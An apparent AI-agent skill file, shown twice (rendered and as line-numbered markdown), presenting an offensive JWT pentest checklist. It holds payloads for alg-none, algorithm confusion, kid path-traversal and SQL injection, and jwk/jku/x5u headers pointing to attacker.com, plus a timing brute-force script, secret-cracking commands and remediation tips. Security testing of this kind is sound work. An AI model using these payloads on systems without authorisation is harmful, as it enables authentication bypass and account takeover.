SKILL: JSON Web Tokens (JWT) Security
Metadata
Description
JWT attack checklist: algorithm confusion (none/RS256→HS256), weak secret brute force, kid injection, jku/x5u header injection, JWT header injection, expired token acceptance. Use when testing JWT-based authentication or finding auth bypass via JWT manipulation.
Trigger Phrases
Use this skill when the conversation involves any of:
JWT, JSON Web Token, algorithm confusion, alg none, RS256 HS256, weak secret, kid injection, jku injection, x5u, JWT header injection, JWT attack, token bypass
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
JSON Web Tokens (JWT) Security
Shortcut
Mis-Configurations
- Adding, removing and modifying claims
- when pen-testing JWT tokens, make sure user can't set the algorithm to
none
- or is able to switch between
RSA and HMAC
- Changing the signature algorithm
- Removing the signature entirely
- Brute-forcing a weak signature key
- or maybe leaking the secret using XXE or SSRF
- you can also use JWT Tool
Read Sensitive Information
JWT token should be used for integrity not confidentiality
Header Injection
Instructing the server which key to use when verifying the signature. Harden parsing and outbound fetches for:
jwk (inline JWK) — rarely safe to accept from untrusted senders
jku/x5u (remote keys) — pin domains, enforce TLS, short TTLs, and kid uniqueness
kid (Key ID) — guard against injection (path traversal/SQLi), collisions, and cache poisoning
Same Origin Policy
SOP prevents the malicious script hosted on a.com from reading the HTML data returned from b.com
This keeps the malicious script on A from obtaining sensitive information embedded in B.
Mechanisms
JSON Web Tokens (JWT) are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs consist of three parts:
- Header: Specifies the token type and signing algorithm
- Payload: Contains the claims (statements about an entity)
- Signature: Verifies the token hasn't been altered
Common signing algorithms:
- HS256/HS384/HS512: HMAC + SHA-256/384/512 (symmetric)
- RS256/RS384/RS512: RSA + SHA-256/384/512 (asymmetric)
- ES256/ES384/ES512: ECDSA + SHA-256/384/512 (asymmetric)
- PS256/PS384/PS512: RSASSA-PSS + SHA-256/384/512 (asymmetric)
- EdDSA (Ed25519/Ed448): Edwards‑curve Digital Signature Algorithm (asymmetric)
- none: Unsigned token (highly insecure)
Additional pitfalls:
- JWS/JWE confusion: accepting an encrypted token (JWE) where a signed token (JWS) is required, or failing open when encountering unexpected
typ/cty.
- JWKS retrieval risks: SSRF via
jku/x5u, insecure TLS validation, caching poisoned keys, kid collisions causing wrong key selection.
- Token binding: sender‑constrained schemes (DPoP, mTLS) incorrectly implemented allow replay from other clients.
sequenceDiagram
participant User
participant Client
participant Server
User->>Client: Login with credentials
Client->>Server: Authentication request
Server->>Server: Verify credentials
Server->>Client: JWT token
Note over Client: Store JWT (prefer http‑only secure cookies or secure storage in native apps)
User->>Client: Request protected resource
Client->>Server: Request with JWT in header
Server->>Server: Validate JWT signature
Server->>Server: Verify claims (exp, iss, etc.)
Server->>Client: Protected resource
Hunt
Identify JWT Usage
- Check for
Authorization: Bearer [token] headers
- Look for cookies containing JWT structures
- Examine local/session storage in browser
- Identify token endpoints or authentication flows
Inspect Token Structure
- Decode the token to examine claims (use jwt.io or BurpSuite JWT extension)
- Look for sensitive information in payload
- Check for unusual header parameters (
kid, jku, jwk, x5u, etc.)
- Verify algorithm usage in header
Testing for Vulnerabilities
- Modify claims and observe application behavior
- Test algorithm switching attacks
- Check signature verification
- Look for token expiration/validation issues
- Test for header injection vulnerabilities
- Attempt brute force attacks on weak secrets
- Probe JWKS endpoints: add duplicate
kid, rotate keys to see if old keys still verify; attempt caching or 304-not-modified abuse.
- Test
x5u/jku DNS rebinding, and misconfigured HTTP client validation.
- Try JWS/JWE content-type confusions and unexpected
crit header usage.
Vulnerabilities
graph TD
JWT[JWT Vulnerabilities] --> Algbp[Algorithm Bypass]
JWT --> WeakKey[Weak Secret Key]
JWT --> KeyConf[Key Confusion]
JWT --> KID[Kid Parameter Injection]
JWT --> JKU[JKU/JWK Header Injection]
JWT --> Missing[Missing Signature Validation]
Algbp --> AlgNone["'alg': 'none' Attack"]
WeakKey --> BruteForce[Brute Force Attack]
KeyConf --> RSAtoHMAC[RSA to HMAC Confusion]
KID --> SQLi[SQL Injection via kid]
KID --> Path[Path Traversal via kid]
JKU --> FakeJWK[Host Fake JWK]
style JWT fill:#b7b,stroke:#333,color:#333
style AlgNone fill:#f55,stroke:#333,color:#333
style BruteForce fill:#f55,stroke:#333,color:#333
style RSAtoHMAC fill:#f55,stroke:#333,color:#333
style SQLi fill:#f55,stroke:#333,color:#333
Algorithm Vulnerabilities
- Algorithm None: Some libraries still allow disabling signature validation (
alg:"none") when mis‑configured.
- Algorithm Confusion: Servers that mistakenly treat an RSA public key as an HMAC secret when
alg is switched to HS*, enabling attacker‑signed tokens.
- Key ID Manipulation: Exploiting
kid to load wrong keys or inject file/SQL paths; enforce strict lookups and validation
Signature Vulnerabilities
- Weak Secrets: Brute-forceable HMAC secrets
- Missing Signature Validation: Not verifying signature at all
- Broken Signature Validation: Implementation errors in signature checking
Implementation Issues
- Missing Claims Validation: Not validating essential claims (
exp, nbf, aud)
- Insufficient Entropy: Predictable JWT IDs or tokens
- Lack of Expiration: Tokens without expiration or with very long lifetimes
- Insecure Token Transport: Transmitting tokens over non-HTTPS connections
- Debug Information Leakage: Detailed error messages revealing implementation details
Header Injection Attacks
- JWK Header Injection: Supplying a custom public key through the
jwk header
- JKU Manipulation: Pointing the
jku (JWK Set URL) to an attacker-controlled location
- KID Manipulation: Various attacks including SQL injection, path traversal, or command injection via the
kid parameter
- x5u Misuse: Loading untrusted X.509 key URLs with lax TLS validation or redirects
- JWKS Cache Poisoning: Forcing caches to accept attacker keys via
kid collisions or response header tricks
Information Disclosure
- Sensitive Data in Payload: PII, credentials, or session details stored unencrypted
- Claiming Processing Information: Information about backends or services in claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable (MODE_WORLD_READABLE deprecated but still found)
- Location:
/data/data/<package>/shared_prefs/
- Keystore extraction: Root device or exploit app, extract keys
- Backup extraction:
adb backup -f backup.ab <package> (if allowBackup=true)
- Tools:
Frida, objection, MobSF for analysis
iOS:
- Keychain: Check
kSecAttrAccessible attribute
kSecAttrAccessibleAlways: Accessible even when locked (insecure)
kSecAttrAccessibleWhenUnlocked: Better but extractable from backup
- iTunes/iCloud backup extraction: Unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper: Extract all keychain items
- Tools:
Frida, objection, idb for runtime analysis
React Native / Hybrid Apps:
AsyncStorage: Stored in plain text, easily readable
- Location: Android SQLite DB, iOS plist files
- No encryption by default
Testing:
# Android - check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS - extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
SAML-JWT Confusion: Application accepts both SAML assertions and JWTs
- Bypass SAML signature verification by sending JWT instead
- Or vice versa - send SAML where JWT expected with weaker validation
API Key-JWT Confusion: Endpoint accepts multiple auth methods
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Session Cookie-JWT Hybrid: App accepts either session cookie OR JWT
- Test if session validation is weaker
- Can you use an expired JWT with valid session cookie?
- Or inject JWT claims into session cookie
OAuth Token-JWT Confusion: OAuth access tokens vs ID tokens
- Send ID token (JWT) to resource server expecting opaque access token
- Resource server may not validate properly
Timing Attacks on HMAC
Brute-force via Timing:
- HMAC verification can leak secret character-by-character via timing
- Non-constant-time comparison:
if (signature == expected)
- Attack: Measure response time for different signature attempts
- Tools: Custom scripts with microsecond precision timing
Exploit:
import requests
import time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute force first byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
# Character with longer response time is likely correct
JWT in URL Parameters
ETC
- PASETO – removes algorithm negotiation entirely and avoids confusion attacks.
- Macaroons – bearer tokens that include attenuable, caveat‑based delegation.
- DPoP and mTLS – bind tokens to the client to prevent replay; verify proofs on every request and enforce one‑time use semantics for nonces.
Methodologies
Tools
- JWT.io: For basic token inspection and debugging
- Burp Suite JWT Scanner: Automated testing of JWT implementations
- JWT_Tool: Comprehensive testing of JWT vulnerabilities (
python3 jwt_tool.py)
- jwtXploiter: Advanced JWT vulnerability scanning
- JWTear: For tearing apart JWTs and testing vulnerabilities
- jwt_killer: Automated token testing with multiple attack vectors
- c-jwt-cracker: High-speed brute force for HMAC secrets (C implementation)
- Burp Suite: JWT Editor extension, Autorize for auth diffing, Auth Analyzer
- jose/jwx libraries (dev): enable strict modes to reproduce edge cases
- Mobile Tools: Frida, objection, MobSF (for extracting JWTs from mobile apps)
Manual Testing Steps
Decode and Inspect:
base64url_decode(header).base64url_decode(payload).signature
Test "none" Algorithm:
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""
Algorithm Confusion:
# Attempt to switch RS256→HS256 and abuse server using RSA public key as HMAC secret (if misconfigured)
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
Kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
Brute Force HMAC Secrets:
python3 jwt_tool.py <token> -C -d wordlist.txt
Testing Missing Validation:
- Remove or modify the expiration claim (
exp)
- Change issuer (
iss) or audience (aud)
- Modify token issuance time (
iat) or not-before time (nbf)
Automated Testing with JWT_Tool
# Basic token testing
python3 jwt_tool.py <token>
# Scanning for vulnerabilities
python3 jwt_tool.py <token> -M all
# Testing specific vulnerabilities
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # null signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Cracking secrets
python3 jwt_tool.py <token> -C -d wordlist.txt
Remediation Recommendations
- Use short‑lived access tokens and rotate refresh tokens frequently.
- Always validate
aud (audience) and iss (issuer) claims.
- Enforce a maximum token length and disable JWE compression unless strictly required.
- Ensure the key material loaded for verification matches the
alg; reject mismatches.
- Reject tokens that include unknown
crit header parameters.
- Maintain a server‑side deny‑list keyed by
jti for early revocation.
- For DPoP (
typ:"dpop+jwt") tokens, verify the proof binds to the HTTP request and enforce one‑time use.
- Validate JWKS over pinned TLS; disallow remote
jku/x5u except for trusted domains; cache keys with short TTL and verify kid uniqueness.
- Disable
none and prevent algorithm downgrades; pin alg per client and per issuer.
- Bind sessions to device when possible; rotate refresh tokens on every use and revoke the previous (refresh token rotation).
- Prefer
SameSite=Lax/Strict HttpOnly cookies for web to reduce token exfil; avoid localStorage for access tokens.
1---2name: offensive-jwt3description: SKILL: JSON Web Tokens (JWT) Security4---5# SKILL: JSON Web Tokens (JWT) Security67## Metadata8- **Skill Name**: jwt-attacks9- **Folder**: offensive-jwt10- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/jwt.md1112## Description13JWT attack checklist: algorithm confusion (none/RS256→HS256), weak secret brute force, kid injection, jku/x5u header injection, JWT header injection, expired token acceptance. Use when testing JWT-based authentication or finding auth bypass via JWT manipulation.1415## Trigger Phrases16Use this skill when the conversation involves any of:17`JWT, JSON Web Token, algorithm confusion, alg none, RS256 HS256, weak secret, kid injection, jku injection, x5u, JWT header injection, JWT attack, token bypass`1819## Instructions for Claude2021When this skill is active:221. Load and apply the full methodology below as your operational checklist232. Follow steps in order unless the user specifies otherwise243. For each technique, consider applicability to the current target/context254. Track which checklist items have been completed265. Suggest next steps based on findings2728---2930## Full Methodology3132# JSON Web Tokens (JWT) Security3334## Shortcut3536### Mis-Configurations3738- Adding, removing and modifying claims39 - when pen-testing JWT tokens, make sure user can't set the algorithm to `none`40 - or is able to switch between `RSA` and `HMAC`41- Changing the signature algorithm42- Removing the signature entirely43- Brute-forcing a weak signature key44 - or maybe leaking the secret using XXE or SSRF45- you can also use [JWT Tool](https://github.com/ticarpi/jwt_tool)4647### Read Sensitive Information4849JWT token should be used for integrity not confidentiality5051### Header Injection5253Instructing the server which key to use when verifying the signature. Harden parsing and outbound fetches for:5455- `jwk` (inline JWK) — rarely safe to accept from untrusted senders56- `jku`/`x5u` (remote keys) — pin domains, enforce TLS, short TTLs, and `kid` uniqueness57- `kid` (Key ID) — guard against injection (path traversal/SQLi), collisions, and cache poisoning5859### Same Origin Policy6061SOP prevents the malicious script hosted on a.com from reading the HTML data returned from b.com62This keeps the malicious script on A from obtaining sensitive information embedded in B.6364## Mechanisms6566JSON Web Tokens (JWT) are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs consist of three parts:6768- **Header**: Specifies the token type and signing algorithm69- **Payload**: Contains the claims (statements about an entity)70- **Signature**: Verifies the token hasn't been altered7172Common signing algorithms:7374- **HS256/HS384/HS512**: HMAC + SHA-256/384/512 (symmetric)75- **RS256/RS384/RS512**: RSA + SHA-256/384/512 (asymmetric)76- **ES256/ES384/ES512**: ECDSA + SHA-256/384/512 (asymmetric)77- **PS256/PS384/PS512**: RSASSA-PSS + SHA-256/384/512 (asymmetric)78- **EdDSA (Ed25519/Ed448)**: Edwards‑curve Digital Signature Algorithm (asymmetric)79- **none**: Unsigned token (highly insecure)8081Additional pitfalls:8283- JWS/JWE confusion: accepting an encrypted token (JWE) where a signed token (JWS) is required, or failing open when encountering unexpected `typ`/`cty`.84- JWKS retrieval risks: SSRF via `jku`/`x5u`, insecure TLS validation, caching poisoned keys, `kid` collisions causing wrong key selection.85- Token binding: sender‑constrained schemes (DPoP, mTLS) incorrectly implemented allow replay from other clients.8687```mermaid88sequenceDiagram89 participant User90 participant Client91 participant Server9293 User->>Client: Login with credentials94 Client->>Server: Authentication request95 Server->>Server: Verify credentials96 Server->>Client: JWT token97 Note over Client: Store JWT (prefer http‑only secure cookies or secure storage in native apps)9899 User->>Client: Request protected resource100 Client->>Server: Request with JWT in header101 Server->>Server: Validate JWT signature102 Server->>Server: Verify claims (exp, iss, etc.)103 Server->>Client: Protected resource104```105106## Hunt107108### Identify JWT Usage109110- Check for `Authorization: Bearer [token]` headers111- Look for cookies containing JWT structures112- Examine local/session storage in browser113- Identify token endpoints or authentication flows114115### Inspect Token Structure116117- Decode the token to examine claims (use jwt.io or BurpSuite JWT extension)118- Look for sensitive information in payload119- Check for unusual header parameters (`kid`, `jku`, `jwk`, `x5u`, etc.)120- Verify algorithm usage in header121122### Testing for Vulnerabilities123124- Modify claims and observe application behavior125- Test algorithm switching attacks126- Check signature verification127- Look for token expiration/validation issues128- Test for header injection vulnerabilities129- Attempt brute force attacks on weak secrets130- Probe JWKS endpoints: add duplicate `kid`, rotate keys to see if old keys still verify; attempt caching or 304-not-modified abuse.131- Test `x5u`/`jku` DNS rebinding, and misconfigured HTTP client validation.132- Try JWS/JWE content-type confusions and unexpected `crit` header usage.133134## Vulnerabilities135136```mermaid137graph TD138 JWT[JWT Vulnerabilities] --> Algbp[Algorithm Bypass]139 JWT --> WeakKey[Weak Secret Key]140 JWT --> KeyConf[Key Confusion]141 JWT --> KID[Kid Parameter Injection]142 JWT --> JKU[JKU/JWK Header Injection]143 JWT --> Missing[Missing Signature Validation]144145 Algbp --> AlgNone["'alg': 'none' Attack"]146 WeakKey --> BruteForce[Brute Force Attack]147 KeyConf --> RSAtoHMAC[RSA to HMAC Confusion]148 KID --> SQLi[SQL Injection via kid]149 KID --> Path[Path Traversal via kid]150 JKU --> FakeJWK[Host Fake JWK]151152 style JWT fill:#b7b,stroke:#333,color:#333153 style AlgNone fill:#f55,stroke:#333,color:#333154 style BruteForce fill:#f55,stroke:#333,color:#333155 style RSAtoHMAC fill:#f55,stroke:#333,color:#333156 style SQLi fill:#f55,stroke:#333,color:#333157```158159### Algorithm Vulnerabilities160161- **Algorithm None**: Some libraries still allow disabling signature validation (`alg:"none"`) when mis‑configured.162- **Algorithm Confusion**: Servers that mistakenly treat an RSA public key as an HMAC secret when `alg` is switched to HS\*, enabling attacker‑signed tokens.163- **Key ID Manipulation**: Exploiting `kid` to load wrong keys or inject file/SQL paths; enforce strict lookups and validation164165### Signature Vulnerabilities166167- **Weak Secrets**: Brute-forceable HMAC secrets168- **Missing Signature Validation**: Not verifying signature at all169- **Broken Signature Validation**: Implementation errors in signature checking170171### Implementation Issues172173- **Missing Claims Validation**: Not validating essential claims (`exp`, `nbf`, `aud`)174- **Insufficient Entropy**: Predictable JWT IDs or tokens175- **Lack of Expiration**: Tokens without expiration or with very long lifetimes176- **Insecure Token Transport**: Transmitting tokens over non-HTTPS connections177- **Debug Information Leakage**: Detailed error messages revealing implementation details178179### Header Injection Attacks180181- **JWK Header Injection**: Supplying a custom public key through the `jwk` header182- **JKU Manipulation**: Pointing the `jku` (JWK Set URL) to an attacker-controlled location183- **KID Manipulation**: Various attacks including SQL injection, path traversal, or command injection via the `kid` parameter184- **x5u Misuse**: Loading untrusted X.509 key URLs with lax TLS validation or redirects185- **JWKS Cache Poisoning**: Forcing caches to accept attacker keys via `kid` collisions or response header tricks186187### Information Disclosure188189- **Sensitive Data in Payload**: PII, credentials, or session details stored unencrypted190- **Claiming Processing Information**: Information about backends or services in claims191192## Additional Attack Vectors193194### Mobile App JWT Storage195196- **Android**:197 - `SharedPreferences`: Check if world-readable (`MODE_WORLD_READABLE` deprecated but still found)198 - Location: `/data/data/<package>/shared_prefs/`199 - Keystore extraction: Root device or exploit app, extract keys200 - Backup extraction: `adb backup -f backup.ab <package>` (if allowBackup=true)201 - Tools: `Frida`, `objection`, `MobSF` for analysis202- **iOS**:203 - Keychain: Check `kSecAttrAccessible` attribute204 - `kSecAttrAccessibleAlways`: Accessible even when locked (insecure)205 - `kSecAttrAccessibleWhenUnlocked`: Better but extractable from backup206 - iTunes/iCloud backup extraction: Unencrypted backups expose Keychain207 - Jailbreak + Keychain-Dumper: Extract all keychain items208 - Tools: `Frida`, `objection`, `idb` for runtime analysis209- **React Native / Hybrid Apps**:210 - `AsyncStorage`: Stored in plain text, easily readable211 - Location: Android SQLite DB, iOS plist files212 - No encryption by default213- **Testing**:214215 ```bash216 # Android - check SharedPreferences217 adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"218219 # iOS - extract from backup220 idevicebackup2 backup --full /path/to/backup221 # Use plist/sqlite tools to extract JWT222 ```223224### JWT Confusion Attacks225226- **SAML-JWT Confusion**: Application accepts both SAML assertions and JWTs227 - Bypass SAML signature verification by sending JWT instead228 - Or vice versa - send SAML where JWT expected with weaker validation229- **API Key-JWT Confusion**: Endpoint accepts multiple auth methods230231 ```bash232 # Try API key where JWT expected233 curl -H "Authorization: Bearer <api_key>" https://api.target/resource234235 # Try JWT where API key expected236 curl -H "X-API-Key: <jwt_token>" https://api.target/resource237 ```238239- **Session Cookie-JWT Hybrid**: App accepts either session cookie OR JWT240 - Test if session validation is weaker241 - Can you use an expired JWT with valid session cookie?242 - Or inject JWT claims into session cookie243- **OAuth Token-JWT Confusion**: OAuth access tokens vs ID tokens244 - Send ID token (JWT) to resource server expecting opaque access token245 - Resource server may not validate properly246247### Timing Attacks on HMAC248249- **Brute-force via Timing**:250 - HMAC verification can leak secret character-by-character via timing251 - Non-constant-time comparison: `if (signature == expected)`252 - Attack: Measure response time for different signature attempts253 - Tools: Custom scripts with microsecond precision timing254- **Exploit**:255256 ```python257 import requests258 import time259260 def time_request(signature):261 start = time.perf_counter()262 r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'})263 return time.perf_counter() - start264265 # Brute force first byte266 for byte in range(256):267 sig = bytes([byte]) + b'\x00' * 31268 t = time_request(sig.hex())269 # Character with longer response time is likely correct270 ```271272### JWT in URL Parameters273274- **Security Issues**:275 - Tokens in GET URLs logged in server logs, proxy logs, browser history276 - Leaked via `Referer` header when navigating to external sites277 - Exposed in browser history (F12 Network tab)278 - CDN/cache logs may store tokens279- **Testing**:280 ```bash281 # Check if API accepts token in URL282 curl "https://api.target/resource?token=eyJ..."283 curl "https://api.target/resource?access_token=eyJ..."284 curl "https://api.target/resource?jwt=eyJ..."285 ```286- **Exploitation**: Search server logs, proxy logs for exposed tokens287 - Check Wayback Machine for historical URLs with tokens288 - Monitor Referer headers sent to third-party analytics289290## ETC291292- **PASETO** – removes algorithm negotiation entirely and avoids confusion attacks.293- **Macaroons** – bearer tokens that include attenuable, caveat‑based delegation.294- **DPoP and mTLS** – bind tokens to the client to prevent replay; verify proofs on every request and enforce one‑time use semantics for nonces.295296## Methodologies297298### Tools299300- **JWT.io**: For basic token inspection and debugging301- **Burp Suite JWT Scanner**: Automated testing of JWT implementations302- **JWT_Tool**: Comprehensive testing of JWT vulnerabilities (`python3 jwt_tool.py`)303- **jwtXploiter**: Advanced JWT vulnerability scanning304- **JWTear**: For tearing apart JWTs and testing vulnerabilities305- **jwt_killer**: Automated token testing with multiple attack vectors306- **c-jwt-cracker**: High-speed brute force for HMAC secrets (C implementation)307- **Burp Suite**: JWT Editor extension, Autorize for auth diffing, Auth Analyzer308- **jose/jwx libraries** (dev): enable strict modes to reproduce edge cases309- **Mobile Tools**: Frida, objection, MobSF (for extracting JWTs from mobile apps)310311### Manual Testing Steps3123131. **Decode and Inspect**:314315 ```316 base64url_decode(header).base64url_decode(payload).signature317 ```3183192. **Test "none" Algorithm**:320321 ```322 {"alg":"none","typ":"JWT"}.payload.""323 {"alg":"None","typ":"JWT"}.payload.""324 {"alg":"NONE","typ":"JWT"}.payload.""325 {"alg":"nOnE","typ":"JWT"}.payload.""326 ```3273283. **Algorithm Confusion**:329330```331# Attempt to switch RS256→HS256 and abuse server using RSA public key as HMAC secret (if misconfigured)332{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>333```3343354. **Kid Parameter Attacks**:336337 ```338 {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}339 {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}340 {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}341 ```3423435. **JWK/JKU Injection**:344345 ```346 {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}347 {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}348 ```3493506. **x5u / crit Handling**:351352```353{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}354{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}355```3563576. **Brute Force HMAC Secrets**:358359 ```360 python3 jwt_tool.py <token> -C -d wordlist.txt361 ```3623637. **Testing Missing Validation**:364 - Remove or modify the expiration claim (`exp`)365 - Change issuer (`iss`) or audience (`aud`)366 - Modify token issuance time (`iat`) or not-before time (`nbf`)367368### Automated Testing with JWT_Tool369370```bash371# Basic token testing372python3 jwt_tool.py <token>373374# Scanning for vulnerabilities375python3 jwt_tool.py <token> -M all376377# Testing specific vulnerabilities378python3 jwt_tool.py <token> -X a # Algorithm confusion379python3 jwt_tool.py <token> -X n # null signature380python3 jwt_tool.py <token> -X i # Identity theft381python3 jwt_tool.py <token> -X k # Key confusion382383# Cracking secrets384python3 jwt_tool.py <token> -C -d wordlist.txt385```386387## Remediation Recommendations388389- Use short‑lived access tokens and rotate refresh tokens frequently.390- Always validate `aud` (audience) and `iss` (issuer) claims.391- Enforce a maximum token length and disable JWE compression unless strictly required.392- Ensure the key material loaded for verification matches the `alg`; reject mismatches.393- Reject tokens that include unknown `crit` header parameters.394- Maintain a server‑side deny‑list keyed by `jti` for early revocation.395- For DPoP (`typ:"dpop+jwt"`) tokens, verify the proof binds to the HTTP request and enforce one‑time use.396- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except for trusted domains; cache keys with short TTL and verify `kid` uniqueness.397- Disable `none` and prevent algorithm downgrades; pin `alg` per client and per issuer.398- Bind sessions to device when possible; rotate refresh tokens on every use and revoke the previous (refresh token rotation).399- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web to reduce token exfil; avoid localStorage for access tokens.